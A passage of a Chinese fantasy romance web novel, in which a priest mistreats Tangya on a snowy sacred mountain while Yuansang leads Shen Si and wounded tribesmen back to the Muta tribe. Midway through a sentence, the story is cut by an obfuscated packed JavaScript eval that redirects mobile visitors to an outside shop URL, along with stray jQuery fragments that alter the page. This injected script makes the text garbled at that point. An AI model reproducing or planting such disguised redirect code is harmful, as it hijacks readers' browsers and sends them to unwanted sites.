神山之巅,棠雅跪在雪地上感受着刺骨的寒风,整个人瑟瑟发抖,又一次下起的雪慢慢的将她头发染白。
祭司蒙太背对着棠雅站在她身前沉默不语,谁也不知道他在想些什么。
不知过了多久,棠雅被冻得受不了,她颤抖着声音喊道:“叔父?”
她那一身雪青色的云锦长裙原本是准备供奉给元桑的,如今却被她穿在身上。
但她不比元桑,刚一踏出木屋她就觉得冷,现在在雪地里跪了那么久,她感觉自己马上就要被冻死。
蒙太睁开眼转身看向棠雅,他眼中的煞气波涛汹涌,随时都能溢出。
他用手捏着棠雅的下巴,细细的打量这张脸,然后慢慢挪到她冻得青紫的脖子。
他喃喃道:“神女的神格明明就在你身上,但我好像看不出你身上的变化啊。”
蒙太并不知道元桑的名字,所以他仍然称呼元桑为神女。
原以为元桑的神格转移到棠雅身上后,棠雅成为新的神女就能拥有那些能力,而他掌握着神女,成为更厉害的人。
可至今棠雅的身体没有任何变化,不说别的,甚至连风雪都难以抵抗。
那群人迟迟不见新的神女现身,已经开始怀疑。要不是蒙太打马虎眼糊弄过去,指不定已经有人闹了。
棠雅心尖一颤,她害怕极了蒙太这个样子。
“叔……叔父。”
棠雅这幅样子不能得到蒙太的半点怜爱,甚至他恼怒道:“真是废物!果然后天的就是比不上先天的。”
说话时,他捏着棠雅下巴的手不断用力缩紧。
棠雅面部扭曲,吃痛的叫出声,眼神满是哀求。
直到棠雅下巴快被捏断,蒙太终于卸力,将她的脸甩向一边,像扔掉无用的东西。
棠雅的手撞到一块锋利的石头上,几粒细小的血珠渗透衣服接触到地面。
就在这时,雪莲花突然从雪地里冒出,围绕着她肆意生长。
蒙太一下子愣怔住,他眯了眯眼,他好像明白如何让棠雅催生雪莲花了。
与此同时,陷入沉睡的元桑突然睁开眼,她不舒服的捂着心脏,呼吸都变得急促几分。
元桑心中有了猜测,神山上肯定发生了什么。
伴随而来的是更深的倦意,她再次昏睡过去。睁眼时,外面已天光大亮。
央迩不知道什么时候回来的,现在正靠着墙休息。
许是央迩给鸣古用了药,他的状态看起来也好很多。
元桑的目光才转移到沈肆身上,他的眼皮一动。
沈肆睁开眼就看见元桑看着自己,他莫名的有些不好意思,下意识咧嘴一笑。
随后沈肆小声问道:“元桑姑娘,你醒多久了啊?”
元桑说:“没多久,现在走吗?”
外头的雪早就停了,虽然不知道要去哪里,但沈肆还是点头答应。
不过,元桑还是没能带着沈肆离开,因为央迩拦住他们。
“姑娘。”央迩叫住元桑。
元桑面无表情地看过去。
央迩像是没看出元桑的不喜,笑着请求道:“姑娘,能不能带我们回到部落?”
不知道原因的人乍一听这话还有点奇怪,但是元桑心如明镜。
她沉思片刻,点头同意。
“我可以带你们回到你们部落,但是从现在起,他就是雪原人,他的身份你们不能暴露。”元桑指着沈肆提出要求。
虽然央迩心中不愿,但比起沈肆,还是早一点回到部落更重要。
若只靠他们自己,可能还要好些日子才能找到部落的方向,但是他们身上多多少少受了伤,现在还没有食物,不一定撑得了那么久。
央迩咬牙答应,但是他还是问:“姑娘是勒圣族的,喜欢中原人很正常,为什么还要说他是雪原人。”
元桑只淡淡回了句:“怕麻烦。”
谈妥后,元桑又让他们匀出一件狼皮大衣,随后她看向沈肆,问道:“你要穿你这件还是他们的?”
沈肆直接拿过狼皮大衣:“这件就好。”
实在是央迩他们的狼皮大衣看起来不太干净,沈肆觉得让元桑穿着不太好。
一行人在元桑的带领下往木塔族的方向行走。
沈肆不明白为什么要去木塔族,这几个人对他都不太友好,到时候见到更多雪原人,还不把他吃了。
元桑小声解释:“接下来雪原这段日子会经常下雪,去外面寻找雪莲花很危险。木塔族的现任祭司从小就喜欢收集上等的雪莲花,他的手中或许还有你需要的千年雪莲花。如果没有,我记得附近有几处可能生长着,到时候我带你去找。”
没想到元桑对自己的事那么上心,沈肆很不好意思。
他抿了抿唇,郑重向元桑道谢。
元桑能感受到沈肆的真诚,她轻笑:“没关系啊,刚好我最近没什么事。放心,我对雪原很了解,相信很快就能帮你找到的。”
说完,元桑还眨了眨眼睛。
沈肆愣住,不仅是因为元桑的话,更因为她刚才展现出来的俏皮模样。
虽然元桑看着正值二八年华,但沈肆一直觉得元桑带有一股神圣不可侵犯的气质,让人不敢直视。
那一刻,元桑身上的那股气质淡化了。
她就像一个年轻貌美有活力的姑娘,一言一行吸引着男子的注意力。
元桑还在细细叮嘱:“到木塔族大概还需要一日半,我会尽快教会你雪原语言。如果到了你还没学会,那你就尽量少言。”
沈肆一一点头。
本来穿过几座雪山很快就能到的,但是风雪骤起,雪山隐约有雪崩的现象,元桑就带着他们从雪山底下绕过去。
赶路期间众人也有休息,沈肆注意到元桑已经有一天没有进食,他拿着手中的干粮去劝吃。
元桑不吃东西也行,而且眼前的面饼看起来就硬巴巴的,元桑真不想吃。
但沈肆一直好言相劝,再加上他关切的眼神,元桑不好拒绝。
她勉强撕下几块吃下去已算不易,剩下的大半怎么也吃不下。
要知道,雪原的食物虽然样式不多,且多为腌制品,但是元桑吃的一直是最好的最新鲜的贡品,哪里会吃这么难吃的东西。
于是,沈肆就见着这样一幕,元桑苦大仇深的盯着手里的面饼。
沈肆心里一乐,觉得有些好笑。
沈肆叹了口气,他往自己随身携带的小包裹里掏了掏,最后掏出一个用油纸包着的方糖。
沈肆递给元桑,然后他很自然的拿过元桑吃不下的面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677072|207521||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
饼啃了起来,还边啃边感慨:“我就带了这几块方糖,本来是打算实在难耐的时候甜甜嘴,也甜甜心。倒是没想到姑娘现在看起来更需要。”
元桑没有动,沈肆嘴巴叼着面饼,拿过方糖打开又递到元桑手里。
他还催促道:“快吃,可甜了。要知道这糖可来之不易,那个做方糖的师傅去世了,他的儿子怎么做不出那个味。本来这糖是我那两个侄子省下来的,结果全给我拿走了。”
可能是想到他的两个侄子得知自己宝贵的方糖不见后哇哇大哭的样子,沈肆居然还噗嗤笑出声。
元桑也不客气地吃下手中的方糖,真如沈肆所说,很甜。
元桑和沈肆发出的动静小,再加上鸣古开始发低烧,央迩无心顾虑这边。
元桑一有机会就教沈肆雪原语言,沈肆也如有神助,迅速学会。
或许沈肆在使用雪原语言和人交流方面还不太顺畅,但他听得懂央迩和他族人的交流了。
眼见着鸣古的身体越来越差,马上就要撑不住时,元桑终于带着他们回到了木塔族。
木塔族的族人远远地看见央迩他们就连忙过来将他们围起来,然后七嘴八舌地问着问题。
“怎么去了那么些天才回来?”
“猎物呢?你们没有猎到东西吗?”
“怎么都带着伤?”
“这是鸣古吧?他怎么了,看着可不太好。”
央迩没有多说,一把推开前面的人,背着鸣古朝着木塔族祭司的小木屋跑去。
元桑无视众人的窥视,带着沈肆紧跟上去。
“东林爷爷,快看看鸣古,他快不行了。”央迩急切地叫唤。
木塔族的祭司东林已经上了年岁,天气愈冷,他大部分时候呆在小木屋里烤火取暖。
没什么事一般不会有人打扰东林,骤一听有人呼唤,他颤抖着起身出门看。
一打开门,最吸引东林注意力的不是满脸焦急的央迩,而是他身后不慌不忙的元桑。
哪怕他因年老视力衰弱看不太清东西,看不清元桑的脸,也能感受到元桑身上带着的那一股庄严而神圣的气质。
就像是庇护雪原多年的神女从神山上下来看望她的子民。
随着元桑走近,东林的那种感觉更甚,就差一点他就要跪下给元桑行礼。
可惜,那股气息很快消失,东林以为自己年纪大糊涂了。
“东林爷爷,快看看鸣古吧。”
央迩见东林似乎在发呆走神,又唤了几句,终于夺得了东林的注意力。
“哦,我这就看看,快进来把鸣古放在床上。”东林急忙让开了道。
随着央迩关上门,挡住了东林的视线,东林的注意力才转移到鸣古身上。
元桑带着沈肆站在小木屋外面,她远远看见东林看着她这边呆愣的模样,猜到点什么。
若是虔诚的信徒,年龄越大,越能感受到神的气息。
不过,元桑现在算不上是神女,神山上的那个才是神女。
前两天那次突如其来的倦意让元桑有了猜测,许是新的神女做了什么。
但也不一定,也许是那个祭司做了什么。
不过这一切又和元桑有什么关系呢。
元桑眼眸低垂,让人不知道她在想什么。